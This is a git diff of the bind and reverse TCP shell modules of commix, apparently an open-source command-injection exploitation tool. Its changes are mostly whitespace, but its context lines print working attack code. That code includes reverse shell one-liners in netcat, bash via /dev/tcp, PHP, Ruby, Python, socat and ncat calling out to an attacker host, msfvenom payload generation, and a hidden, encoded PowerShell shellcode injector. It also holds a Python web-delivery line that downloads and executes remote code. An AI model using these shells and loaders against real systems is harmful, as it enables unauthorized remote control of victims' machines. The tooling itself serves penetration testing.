(e.g. '" + message = "Please provide a full path directory for Python interpreter (e.g. '" message += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: - common.invalid_option(php_dir) + common.invalid_option(php_dir) pass """ @@ -100,19 +100,19 @@ def set_php_working_dir(): """ def set_python_working_dir(): while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python interpreter on the target host? [Y/n] > " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" + message = "Please provide a full path directory for Python interpreter (e.g. '" message += "C:\\Python27\\python.exe') > " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: - common.invalid_option(python_dir) + common.invalid_option(python_dir) pass """ @@ -126,13 +126,13 @@ def set_python_interpreter(): if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom interpreter for Python (e.g. '" + message = "Please provide a custom interpreter for Python (e.g. '" message += "python27') > " settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: - common.invalid_option(python_interpreter) + common.invalid_option(python_interpreter) pass """ @@ -147,7 +147,7 @@ def check_rhost(rhost): check / set lport option for bind TCP connection """ def check_lport(lport): - try: + try: if float(lport): settings.LPORT = lport print("LPORT => " + settings.LPORT) @@ -165,7 +165,7 @@ def netcat_version(separator): # Defined shell shell = "sh" - + # Netcat alternatives NETCAT_ALTERNATIVES = [ "nc", @@ -175,13 +175,13 @@ def netcat_version(separator): ] while True: - nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ + nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) - + # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -190,43 +190,43 @@ def netcat_version(separator): if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break - # Netcat-Traditional + # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break - # Netcat-Openbsd (nc without -e) + # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break - # Check for available shell options + # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) - # Invalid command + # Invalid command else: common.invalid_option(nc_version) continue while True: message = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = common.read_input(message, default="N", check_batch=True) + enable_bin_dir = common.read_input(message, default="N", check_batch=True) if enable_bin_dir in settings.CHOICE_NO: - break + break elif enable_bin_dir in settings.CHOICE_YES : nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell - break + break elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enable_bin_dir) + common.invalid_option(enable_bin_dir) pass if nc_version != '4': # Netcat with -e cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell else: - # nc without -e + # nc without -e cmd = shell + " -c \"" + shell + " 0/tmp/f\"" @@ -241,15 +241,15 @@ def other_bind_shells(separator): other_shell = _input("""""" + Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. """ + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) - + # PHP-bind-shell if other_shell == '1': @@ -265,9 +265,9 @@ def other_bind_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: @@ -356,9 +356,9 @@ def other_bind_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: @@ -400,11 +400,11 @@ def other_bind_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() - + with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) @@ -421,9 +421,9 @@ def other_bind_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: + if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: set_python_interpreter() @@ -432,7 +432,7 @@ def other_bind_shells(separator): except: print(settings.SINGLE_WHITESPACE) break - # Check for available shell options + # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) @@ -449,12 +449,12 @@ def other_bind_shells(separator): def bind_tcp_options(separator): while True: - bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ + bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) - if bind_tcp_option.lower() == "bind_tcp": + if bind_tcp_option.lower() == "bind_tcp": warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue @@ -468,14 +468,14 @@ def bind_tcp_options(separator): elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option else: - pass + pass # Option 2 - Other (Netcat-Without-Netcat) shells elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: shell_success() break - # Check for available shell options + # Check for available shell options elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): if shell_options(bind_tcp_option): return shell_options(bind_tcp_option) @@ -495,24 +495,24 @@ def configure_bind_tcp(separator): while True: sys.stdout.write(settings.BIND_TCP_SHELL) option = _input() - if option.lower() == "bind_tcp": + if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue - elif option.lower() == "?": + elif option.lower() == "?": menu.bind_tcp_options() continue - elif option.lower() == "quit": + elif option.lower() == "quit": raise SystemExit() - elif option.lower() == "os_shell" or option.lower() == "back": + elif option.lower() == "os_shell" or option.lower() == "back": settings.BIND_TCP = False break elif option.lower() == "reverse_tcp": settings.REVERSE_TCP = True settings.BIND_TCP = False - break + break elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0: - break + break elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": if check_rhost(option[10:]): @@ -521,12 +521,12 @@ def configure_bind_tcp(separator): else: break else: - continue + continue elif option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) - continue + print(settings.print_error_msg(err_msg)) + continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): if len(settings.RHOST) == 0: diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 2969dc7b8b..82cd695433 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -37,9 +37,9 @@ def shell_options(option): if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": + elif option.lower() == "?": menu.reverse_tcp_options() - elif option.lower() == "quit": + elif option.lower() == "quit": raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": @@ -47,7 +47,7 @@ def shell_options(option): if option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) if option[4:10].lower() == "lport ": check_lport(option[10:]) if option[4:12].lower() == "srvport ": @@ -95,19 +95,19 @@ def msf_launch_msg(output): """ def set_php_working_dir(): while True: - message = "Do you want to use '" + settings.WIN_PHP_DIR + message = "Do you want to use '" + settings.WIN_PHP_DIR message += "' as PHP working directory on the target host? [Y/n] > " php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for PHP (e.g. '" + message = "Please provide a custom working directory for PHP (e.g. '" message += settings.WIN_PHP_DIR + "') > " settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: - common.invalid_option(php_dir) + common.invalid_option(php_dir) pass """ @@ -115,19 +115,19 @@ def set_php_working_dir(): """ def set_python_working_dir(): while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python interpreter on the target host? [Y/n] > " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" + message = "Please provide a full path directory for Python interpreter (e.g. '" message += "C:\\Python27\\python.exe') > " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: - common.invalid_option(python_dir) + common.invalid_option(python_dir) pass """ @@ -141,13 +141,13 @@ def set_python_interpreter(): if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom working interpreter for Python (e.g. '" + message = "Please provide a custom working interpreter for Python (e.g. '" message += "python27') > " settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: - common.invalid_option(python_interpreter) + common.invalid_option(python_interpreter) pass """ @@ -162,7 +162,7 @@ def check_lhost(lhost): check / set lport option for reverse TCP connection """ def check_lport(lport): - try: + try: if float(lport): settings.LPORT = lport print("LPORT => " + settings.LPORT) @@ -176,7 +176,7 @@ def check_lport(lport): check / set srvport option for reverse TCP connection """ def check_srvport(srvport): - try: + try: if float(srvport): settings.SRVPORT = srvport print("SRVPORT => " + settings.SRVPORT) @@ -198,7 +198,7 @@ def check_uripath(uripath): Set up the netcat reverse TCP connection """ def netcat_version(separator): - + # Defined shell shell = "sh" @@ -214,10 +214,10 @@ def netcat_version(separator): nc_version = _input("""""" + Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) - + # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -226,43 +226,43 @@ def netcat_version(separator): if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break - # Netcat-Traditional + # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break - # Netcat-Openbsd (nc without -e) + # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break - # Check for available shell options + # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) - # Invalid option + # Invalid option else: common.invalid_option(nc_version) continue while True: message = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = common.read_input(message, default="N", check_batch=True) + enable_bin_dir = common.read_input(message, default="N", check_batch=True) if enable_bin_dir in settings.CHOICE_NO: - break + break elif enable_bin_dir in settings.CHOICE_YES : nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell - break + break elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enable_bin_dir) + common.invalid_option(enable_bin_dir) pass if nc_version != '4': # Netcat with -e cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell else: - # nc without -e + # nc without -e cmd = shell + " -c \"" + shell + " 0/tmp/f\"" @@ -279,7 +279,7 @@ def other_reverse_shells(separator): other_shell = _input("""""" + Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. @@ -287,11 +287,11 @@ def other_reverse_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). """ + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) - + # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ @@ -321,7 +321,7 @@ def other_reverse_shells(separator): "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" break - # Python-reverse-shell + # Python-reverse-shell elif other_shell == '4': if not settings.USER_DEFINED_PYTHON_INTERPRETER: set_python_interpreter() @@ -334,20 +334,20 @@ def other_reverse_shells(separator): "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" break - # Socat-reverse-shell + # Socat-reverse-shell elif other_shell == '5': other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \ " exec:\"sh\",pty,stderr,setsid,sigint,sane" break - # Bash-reverse-shell + # Bash-reverse-shell elif other_shell == '6': tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)]) other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ " 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file break - # Ncat-reverse-shell + # Ncat-reverse-shell elif other_shell == '7': other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh" break @@ -380,7 +380,7 @@ def other_reverse_shells(separator): windows_only_attack_vector() continue else: - if not settings.USER_DEFINED_PYTHON_DIR: + if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" break @@ -399,9 +399,9 @@ def other_reverse_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " LHOST=" + str(settings.LHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: @@ -442,16 +442,16 @@ def other_reverse_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " LHOST=" + str(settings.LHOST) + + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() - + with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() - + print(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) @@ -463,9 +463,9 @@ def other_reverse_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: + if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: set_python_interpreter() @@ -474,7 +474,7 @@ def other_reverse_shells(separator): except: print(settings.SINGLE_WHITESPACE) break - + # Powershell injection attacks elif other_shell == '11': if not settings.TARGET_OS == settings.OS.WINDOWS: @@ -487,7 +487,7 @@ def other_reverse_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) - if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): + if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(windows_reverse_shell): return shell_options(windows_reverse_shell) elif windows_reverse_shell == '1' : @@ -516,7 +516,7 @@ def other_reverse_shells(separator): # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) - other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) + other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) print(settings.SINGLE_WHITESPACE) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" @@ -542,9 +542,9 @@ def other_reverse_shells(separator): line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") - break + break except: - unicorn_version = "" + unicorn_version = "" update.check_unicorn_version(unicorn_version) try: if len(unicorn_version) == 0: @@ -554,7 +554,7 @@ def other_reverse_shells(separator): subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') - other_shell = _urllib.parse.quote_plus(other_shell) + other_shell = _urllib.parse.quote_plus(other_shell) print(settings.SINGLE_WHITESPACE) # Remove the ouput file os.remove(output) @@ -568,12 +568,12 @@ def other_reverse_shells(separator): # Return to the current path. os.chdir(current_path) except: - continue + continue except: print(settings.SINGLE_WHITESPACE) break break - + # Web delivery script elif other_shell == '12': while True: @@ -583,7 +583,7 @@ def other_reverse_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) - if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): + if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): if shell_options(web_delivery): return shell_options(web_delivery) elif web_delivery == '1': @@ -616,7 +616,7 @@ def other_reverse_shells(separator): if web_delivery == '1': data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: + if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: @@ -642,7 +642,7 @@ def other_reverse_shells(separator): msf_launch_msg(output) break break - # Check for available shell options + # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) @@ -659,12 +659,12 @@ def other_reverse_shells(separator): def reverse_tcp_options(separator): while True: - reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ + reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) - if reverse_tcp_option.lower() == "reverse_tcp": + if reverse_tcp_option.lower() == "reverse_tcp": warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue @@ -678,18 +678,18 @@ def reverse_tcp_options(separator): elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option else: - pass + pass # Option 2 - Other (Netcat-Without-Netcat) shells elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: shell_success() break - # Check for available shell options + # Check for available shell 